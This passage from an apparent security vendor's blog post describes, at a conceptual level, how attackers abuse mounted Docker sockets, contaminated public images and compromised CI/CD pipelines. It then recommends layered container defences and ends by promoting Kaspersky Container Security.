However, this is not the only high-risk scenario involving API requests. For instance, when a Docker socket is mounted inside a container, an attacker gains the ability to interact with the Docker daemon directly. Once that container is compromised, the attacker effectively inherits the privileges of the daemon, which means they gain control over all containers on the host.
To execute the attack, adversaries look for containers with mounted sockets. The further progression of the attack replicates what has been described above: an API request is made to create a privileged container, after which any escape method is similarly exploited using the API.
Unlike classic attacks aimed at exploiting vulnerabilities in already deployed containers, this approach focuses on compromising components before they are even launched in the runtime environment. Modern container infrastructure is tightly integrated with a large number of external components. As a result, container security directly depends not only on the application itself, but on the entire image build and delivery chain. Compromising any of these stages potentially allows an attacker to inject malicious code into multiple containers and services simultaneously.
One of the most common scenarios involves attacks that contaminate container images. In many organizations, developers use public images from Docker Hub or other available sources without a full verification of their origin or contents. Threat actors frequently publish contaminated images that masquerade as popular services and utilities. Once a container like that is launched within the infrastructure, the attacker gains the ability to execute their own code right inside the organization’s trusted environment.
Furthermore, CI/CD container deployment systems are among the most frequent targets of these attacks. Application build and delivery platforms typically possess elevated privileges. For instance, after gaining access to a CI/CD system, an attacker can covertly modify the Docker image build stages. Instead of altering the application’s source code, the attacker can inject the malicious logic directly into the pipeline itself. An additional command during the build process can download a third-party binary, add a hidden script, modify the container configuration, or implant a remote management mechanism. Externally, the container will look completely legitimate because its core functionality remains unchanged.
Overall, modern attacks on container environments demonstrate that the primary threat arises not just from within the container itself, but from the implementation of the container infrastructure as a whole. Containers are frequently exploited as an initial foothold to establish persistence within a system; following an initial compromise, attackers aim to either escalate to the host OS level or gain control over infrastructure management via containerization and orchestration APIs. To achieve this, they exploit weak configurations, excessive capabilities, and isolation flaws.
Furthermore, there is a visible trend of attacks shifting toward CI/CD pipelines, where compromising a single component can lead to a full infrastructure takeover. Therefore, under current realities, securing containerized environments requires an approach that encompasses host protection, strict access control within the orchestrator, minimization of container capabilities, and comprehensive validation of the entire supply chain. Our solution Kaspersky Container Security has been designed with the specific characteristics of container environments in mind and provides protection at various levels from container images to the host system helping to implement the principles of secure software development.
